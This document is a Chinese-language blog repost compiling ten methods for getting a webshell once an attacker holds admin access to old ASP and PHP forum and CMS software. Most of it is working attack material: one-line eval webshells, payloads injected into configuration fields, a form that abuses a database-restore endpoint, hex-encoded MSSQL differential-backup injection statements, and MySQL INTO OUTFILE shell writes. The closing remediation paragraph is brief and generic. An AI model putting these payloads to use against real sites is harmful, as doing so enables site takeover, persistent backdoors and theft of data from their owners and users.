從背景得到webshell技巧大彙總

前 言 

動網上傳漏洞，相信大家拿下不少殭屍電腦吧。可以說是動網讓upfile.asp上傳檔案過濾不嚴的漏洞昭然天下，現在這種漏洞已經基本比較難見到了，不排除一些小網站仍然存在此漏洞。在拿站過程中，我們經常費了九牛兩虎之力拿到管理者帳号和密碼，并順利進入了背景，雖然此時與拿到網站webshell還有一步之遙，但還是有許多新手因想不出合适的方法而被拒之門外。是以，我們把常用的從背景得到webshell的方法進行了總結和歸納，大體情況有以下十大方面。

注意：如何進入背景，不是本文讨論範圍，其具體方法就不說了，靠大家去自己發揮。此文參考了前人的多方面的資料和資訊，在此一并表示感謝。

一、直接上傳獲得webshell

二、添加修改上傳類型

現在很多的腳本程式上傳子產品不是隻允許上傳合法檔案類型，而大多數的系統是允許添加上傳類型，bbsxp背景可以添加asa|asP類型，ewebeditor的背景也可添加asa類型,通過修改後我們可以直接上傳asa字尾的webshell了,還有一種情況是過濾了.asp，可以添加.aspasp的檔案類型來上傳獲得webshell。php系統的背景，我們可以添加.php.g1f的上傳類型，這是php的一個特性,最後的哪個隻要不是已知的檔案類型即可，php會将php.g1f作為.php來正常運作,進而也可成功拿到shell。LeadBbs3.14背景獲得webshell方法是：在上傳類型中增加asp ，注意，asp後面是有個空格的，然後在前台上傳ASP馬，當然也要在後面加個空格！

三、利用背景管理功能寫入webshell

上傳漏洞基本上補的也差不多了,是以我們進入背景後還可以通過修改相關檔案來寫入webshell。比較的典型的有dvbbs6.0，還有leadbbs2.88等，直接在背景修改配置檔案，寫入字尾是asp的檔案。而LeadBbs3.14背景獲得webshell另一方法是：添加一個新的友情連結，在網站名稱處寫上冰狐最小馬即可,最小馬前後要随便輸入一些字元，http:\\網站\inc\IncHtm\BoardLink.asp就是我們想要的shell。

四、利用背景管理向配置檔案寫webshell

利用"""":""//"等符号構造最小馬寫入程式的配置檔案，joekoe論壇，某某同學錄，沸騰展望新聞系統，COCOON Counter統計程式等等，還有很多php程式都可以，COCOON Counter統計程式舉例，在管理郵箱處添上cnhacker at 263 dot net":eval request(chr (35))//, 在配制檔案中就是webmail="cnhacker at 263 dot net\":eval request(chr(35))//"，還有一種方法就是寫上 cnhacker at 263 dot net"%><%eval request(chr(35))%><%'，這樣就會形成前後對應，最小馬也就運作了。<%eval request(chr(35))%>可以用lake2的eval發送端以及最新的2006 用戶端來連，需要說明的是資料庫插馬時候要選前者。再如動易2005，到文章中心管理-頂部菜單設定-菜單其它特效，插入一句話馬"%><%execute request("l")%><%'，保 存頂部欄目菜單參數設定成功後，我們就得到馬位址http://網站/admin/rootclass_menu_config.asp。

五、利用背景資料庫備份及恢複獲得webshell

主要是利用背景對access資料庫的“備份資料庫”或“恢複資料庫”功能，“備份的資料庫路徑”等變量沒有過濾導緻可以把任意檔案字尾改 為asp，進而得到webshell，msssql版的程式就直接應用了access版的代碼，導緻sql版照樣可以利用。還可以備份網站asp檔案為其他字尾 如.txt檔案，進而可以檢視并獲得網頁源代碼，并獲得更多的程式資訊增加獲得webshell的機會。在實際運用中經常會碰到沒有上傳功能的時 候，但是有asp系統在運作，利用此方法來檢視源代碼來獲得其資料庫的位置，為資料庫插馬來創造機會，動網論壇就有一個ip位址的資料庫，在背景的ip管理中可以插入最小馬然後備份成.asp檔案即可。在談談突破上傳檢測的方法，很多asp程式在即使改了字尾名後也會提示檔案非法，通過在.asp檔案頭加上gif89a修改字尾為gif來騙過asp程式檢測達到上傳的目的，還有一種就是用記事本打開圖檔檔案，随便粘貼一部分複制到asp木馬檔案頭，修改gif字尾後上傳也可以突破檢測，然後備份為.asp檔案，成功得到webshell。

六、利用資料庫壓縮功能

可以将資料的防下載下傳失效進而使插入資料庫的最小馬成功運作，比較典型的就是loveyuki的L-BLOG，在友情添加的url出寫上<%eval request (chr(35))%>, 送出後，在資料庫操作中壓縮資料庫，可以成功壓縮出.asp檔案，用海洋的最小馬的eval用戶端連就得到一個webshell。

七、asp+mssql系統

這裡需要提一點動網mssql版，但是可以直接本地送出來備份的。首先在發帖那上傳一個寫有asp代碼的假圖檔，然後記住其上傳路徑。寫一個本地送出的表單，代碼如下：

<form action=http://網站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post"> 

<p>已上傳檔案的位置：<input name="Dbpath" type="text" size="80"></p> 

<p>要複制到的位置：<input name="backpath" type="text" size="80"></p> 

<p><input type="submit" value="送出"></p> </form>

另存為.htm本地執行。把假圖檔上傳路徑填在“已上傳檔案的位置”那裡，想要備份的WebShell的相對路徑填寫在“要複制到的位置”那裡，送出就得到我們可愛的WebShell了，恢複代碼和此類似，修改相關地方就可以了。沒有遇到過背景執行mssql指令比較強大的asp程式背景，動網的資料庫還原和備份是個擺設，不能執行sql指令備份webshell，隻能執行一些簡單的查詢指令。可以利用mssql注入差異備份webshell，一般背景是顯示了絕對路徑，隻要有了注入點基本上就可以差異備份成功。下面是差異備份的主要語句代碼，利用動網7.0的注入漏洞可以用差異備份一個webshell，可以用利用上面提到的方法，将conn.asp檔案備份成.txt檔案而獲得庫名。

差異備份的主要代碼：

;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s-- 

;Drop table [heige];create table [dbo] dot [heige] ([cmd] [image])--

;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)--

;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--

這段代碼中，0x626273是要備份的庫名bbs的十六進制，可以是其他名字比如bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六進制，是lp最小馬；0x643A5C7765625C312E617370是d:\web\1.asp的十六進制,也就是你要備份的webshell路徑。當然也可以用比較常見備份方式來獲得webshell，唯一的不足就是備份後的檔案過大，如果備份資料庫中有防下載下傳的的資料表，或者有錯誤的asp代碼，備份出來的webshell就不會成功運作，利用差異備份是成功率比較高的方法，并且極大的減少備份檔案的大小。

八、php+mysql系統

背景需要有mysql資料查詢功能,我們就可以利用它執行SELECT ... INTO OUTFILE查詢輸出php檔案，因為所有的資料是存放在mysql裡的，是以我們可以通過正常手段把我們的webshell代碼插入mysql在利用SELECT ... INTO OUTFILE語句導出shell。在mysql操作裡輸入select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile '路徑’ 就可以獲得了一個<?eval($_POST[a]);?>的最小馬 

就可以暴出路徑，php環境中比較容易暴出絕對路徑：）。提一點的是遇到是mysql在win系統下路徑應該這樣寫d:\\wwwroot\\a.php。下面的方法是比較常用的一個導出webshell的方法，也可以寫個vbs添加系統管理者的腳本導出到啟動檔案夾，系統重起後就會添加一個管理者帳号

CREATE TABLE a(cmd text NOT NULL)

INSERT INTO a(cmd) VALUES('<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?>')   

select cmd from a into outfile '路徑/b.php'

DROP TABLE IF EXISTS a

通路b.php就會生成一個<?eval($_POST[a]);?>的最小馬。

如果遇到可以執行php指令就簡單多了,典型的代表是BO-BLOG,在背景的php指令框輸入以下代碼：

<?

$sa = fopen("./up/saiy.php","w");

fw9xiaote($sa,"<?eval(\$_POST[a]);?".">");

fclose($sa);

?>

就會在up目錄下生成檔案名為saiy.php内容為<?eval($_POST[a]);?>的最小php木馬， 

最後用lanker的用戶端來連接配接。實際運用中要考慮到檔案夾是否有寫權限。或者輸入這樣的代碼<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?> 将會在目前目錄生成一個a.php的最小馬。

九、phpwind論壇從背景到webshell的三種方式

方式1 模闆法

進入背景， 風格模版設定 ，在随便一行寫代碼，記住，這代碼必須頂着左邊行寫，代碼前面不可以有任何字元。 

EOT; 

eval($a); 

p9xiaont <<<EOT 

而後得到一個shell為http://網站/bbs/index.php。 

方始2 髒話過濾法

進入安全管理 ◇ 不良詞語過濾。新增不良詞語寫 a’]=’aa’;eval($_POST[’a’]);//

替換為那裡可以随意寫，而後得到一個shell位址為http://網站/bbs/data/bbscache/wordsfb.php。 

方式3 使用者等級管理 

建立立會員組，頭銜你可以随便寫，但是千萬不要寫單雙引号特殊符号，更新圖檔号寫a’;eval($_POST[’a’]);// ，更新點數依然可以随意寫。而後得到一個shell位址為http://網站/bbs/data/bbscache/level.php。

以上三種方式得到webshellr的密碼是a,為lanker的一句話後門服務端。

十、也可以利用網站通路計數系統記錄來獲得webshell

最明顯的就是某私服程式内的阿江計數程式，可以通過http://網站/stat.asp?style=text&referer= 代碼内容&screenwidth=1024直接送出， 即可把代碼内容直接插入到計數系統的資料庫中，而此系統預設資料庫為count#.asa，我們可以通過http://網站/count%23.asa通路得到webshell，由于阿江計數程式過濾了%和+，将最小馬改成<SCRIPT RUNAT=SERVER LANGUAGE=vbSCRIPT>eval(Request("1"))</SCRIPT>替換代碼内容處送出，然後用lake2的eval用戶端來送出，值得一提的是如果進到計數背景，可以清理某時某刻的資料，一旦插入asp木馬失敗，可以清理資料庫再次操作。

解決方案

由于本文涉及的代碼版本很多，是以不可能提供一個完美的解決方案。有能力者可以針對本文提到的漏洞檔案進行适當修補，若漏洞檔案不影響系統使用也可删除此檔案。大家如果不會修補，可以到相關官方網站下載下傳最新更新檔進行修複更新。同時也請大家能時刻關注各大安全網絡釋出的最新公告，若自己發現相關漏洞也可及時通知官方網站。

<a href="http://down.51cto.com/data/2347393" target="_blank">附件：http://down.51cto.com/data/2347393</a>

本文轉自loveme2351CTO部落格，原文連結： http://blog.51cto.com/loveme23/8516，如需轉載請自行聯系原作者